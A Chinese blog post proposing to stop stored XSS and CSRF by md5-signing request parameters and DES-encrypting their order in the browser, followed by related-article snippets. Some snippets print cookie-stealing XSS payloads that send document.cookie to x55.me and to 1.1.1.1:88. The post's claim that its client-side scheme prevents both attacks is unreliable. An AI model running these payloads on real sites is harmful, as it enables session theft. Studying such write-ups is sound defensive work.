一次解决存储型xss和csrf漏洞的简单方法

目前我知道的,存储型xss解决方法:过滤转义用户输入的脚本、标签,csrf漏洞解决方法:校验referer、加token、加验证码

而referer校验是针对存在referer的情况,因为某些请求的head里没有referer,这时不能判断请求是非法的;加token,保存在哪是个问题,如果保存在session中,当集群部署时,session不同步会导致客户端的token与处理请求的服务器的token不一致;加验证码同样的道理,而且对用户体验非常不好。

由于xss和csrf都是改变用户请求参数来达到恶意攻击的目的,所以,如果我们从参数改变这一点切入,就没有问题了,做法很简单:

将参数加密后传递,这样请求被拦截篡改的参数将不能被服务器解密,因而拒绝请求。

前台需要两个加密方法:

1、md5加密 参数列表

2、des加密 参数列表进行md5加密的顺序

后台需要一个加密和一个解密方法:

1、同样的md5加密方法

2、des解密方法

参数列表中参数均为请求传递参数,参数值为空的可过滤掉

需要为解决漏洞而添加的几个参数:

1、sign签名:参数列表参数md5加密后字符串,比如参数id=1&name=Tobey Black&sex=baby,那么假设通过md5加密(增加随机数等这里略):

md5(1,‘Tobey Black‘,‘baby‘)得到123G1JH123G(由于不能解密所以无法伪造)。

2、order参数顺序:参数列表中参数进行md5加密的顺序,根据1得到参数加密顺序为id,name,sex,对"id,name,sex"进行des加密。

3、filter被过滤特殊字符的参数:考虑到当参数值含有特殊字符如单引号、空格、换行、尖括号等进行md5加密的结果前后台不一致(js对这些字符进行转义),所以,这些参数要过滤特殊字符再md5处理,这里对name进行过滤(多个还是用逗号拼接),得到TobeyBlack,最后把它des加密。

现在就可以提交请求了,到后台处理方法:

将参数id=1&name=Tobey Black&sex=baby进行遍历,按照order中参数名的顺序取出参数值,并对filter中出现的参数名的参数值进行特殊字符过滤,拼接成"1TobeyBlackbaby",对其md5加密,得到值跟sign对比,正确才向下执行,否则拦截请求。

时间: 2024-10-01 13:48:22

一次解决存储型xss和csrf漏洞的简单方法的相关文章

DocCms存储型XSS+后台任意文件下载上传+目录删除+sql执行(有条件可getshell)

下载链接 https://share.weiyun.com/46ebceb4fe91da144ad2661522a941e1 留言处存储型XSS 漏洞在content/guestbook/index.php function create() { echo 123; global $db,$request; if ($_SESSION['verifycode'] != $request['checkcode']) { echo '<script>alert("请正确填写验证码!&qu

Coremail邮件系统存储型XSS两个

(1):Coremail邮件系统存储型XSS之一 给受害者发送主题如下的邮件: <svg onload='img=new Image();img.src="//x55.me/geo.php?get="+document.cookie;'> 当受害者试图打开邮件时,cookie将会被窃取: (2):Coremail邮件系统存储型XSS之二 将特制的swf文件作为附件发送给受害者(这里可以选择在过节的时候下手,比如将文件名改称新年贺卡.swf): swf文件的AS代码如下(将就

【安全牛学员笔记】存储型XSS和BEEF浏览器攻击框架

存储型XSS 长期存储于服务器端 每次用于访问都会被执行javascript脚本 Name:客户端表单长度限制 客户端.截断代理 <script src=http://1.1.1.1/a.js></script> a.js源码 var img = new Image(); img.src = "http://1.1.1.1:88/cookies.php?cookie="+documnet.cookie; [email protected]:~# netstat

小白日记49:kali渗透测试之Web渗透-XSS(三)-存储型XSS、DOM型XSS、神器BEFF

存储型XSS与DOM型XSS [XSS原理] 存储型XSS 1.可长期存储于服务器端 2.每次用户访问都会被执行js脚本,攻击者只需侦听指定端口 #攻击利用方法大体等于反射型xss利用 ##多出现在留言板等位置 *推荐使用burpsuite a.观察返回结果,是否原封不动地返回输入数据?是否有其他标签 js代码通过留言板存储在服务器中,所以每次点击留言板链接,都会弹出xss弹窗 b.测试加载攻击者控制的服务器中的js文件 #启动apache2[默认侦听80端口] a.js [盗取客户端cooki

exp2:// 一次存储型XSS从易到难的挖掘过程

一日在某站点发现一个找茬活动,感觉是另类的src就参与了一下.就发生了这次有趣的XSS测试过程. 0×00 开始 (注意1)XSS不仅存在于页面上直观所在的位置,所有用户输入的信息都有可能通过不同形式返回到页面上,因此直接操作数据包来查找XSS显得更加有效. 回到该站点,在该站点一处生成app处存在一处忘记过滤. 发送的数据包如下: appName=TEST&icon=&loadimage=%2Ftemplate201309%2F29%2Floadimage%2F1a8aaba1-42bd

存储型xss调研

概念 存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行. 常见的xss攻击方法 1. 绕过XSS-Filter,利用<>标签注入Html/JavaScript代码: 2. 利用HTML标签的属性值进行xss攻击.例如:<img src="javascript:alert('xss')"/>:(当然并不是所有的Web浏览器都支持Javascr

Java Web开发 - 持久型/存储型XSS漏洞

1.什么是XSS漏洞攻击? XSS是跨站脚本攻击(Cross Site Scripting)的简称,之所以叫XSS而不是CSS相比大家都能明白了吧,那就是为了跟层叠样式表(Cascading Style Sheets,CSS)区别. 2.XSS漏洞攻击的原理 恶意攻击者往web页面中插入恶意HTML代码,当用户浏览该web页面时,嵌入到该web页面的恶意HTML代码就会被执行,从而达到恶意攻击用户的特殊目的. XSS漏洞又分为两类,一类是持久型/存储型XSS,另一类是反射型XSS: 1)持久型/

WordPress &lt;4.1.2 &amp; &lt;=4.2 存储型xss(利用mysql对特殊字符和超长字符会进行截断的特性)

转自:Baidu Security LabXteam http://xteam.baidu.com/?p=177 漏洞概述 本次漏洞出现两个使用不同方式截断来实现的存储型xss,一种为特殊字符截断,一种为数据库字段长度截断,该漏洞导致攻击者可获取用户 cookie以及模拟浏览器正常操作,并且当管理员访问到注入的payload时,结合wordpress后台功能甚至可以getshell. 漏洞分析 1.字符截断 通过官网介绍“The character set named utf8 uses a m

WordPress &lt; 4.1.2 存储型XSS漏洞

WordPress < 4.1.2 存储型XSS漏洞 0x00 原理 最近几天爆出来的,今天才看.网上的分析也有很多了估计,我也发一篇好了233333因为确实很经典,思路很不错.具体的细节看老外写的,请戳: https://cedricvb.be/post/wordpress-stored-xss-vulnerability-4-1-2 这次主要是Mysql中的UTF-8只支持3个byte,如果需要支持4个byte的编码,则需要使用utf8mb4.不开启strict code(默认为Off)的时